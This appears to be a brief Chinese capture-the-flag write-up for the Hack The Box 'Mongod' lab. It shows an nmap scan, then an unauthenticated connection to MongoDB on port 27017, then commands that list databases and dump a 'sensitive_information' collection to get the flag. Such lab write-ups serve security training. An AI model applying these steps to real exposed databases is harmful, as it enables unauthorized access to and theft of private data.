HTB_Mongod_mongodb未授权访问

27017 mongodb

nmap -p- --min-rate=1000 -sV 10.129.247.129

连接&使用

(root💀kali)-[~/tools/mongodb-linux-x86_64-3.4.7/bin]
./mongo mongodb://10.129.247.129:27017

查看数据库

show dbs;

# 使用数据库
use sensitive_information;
# 查表
show collections;
# 查键对应值 pretty格式化输出
db.flag.find().pretty();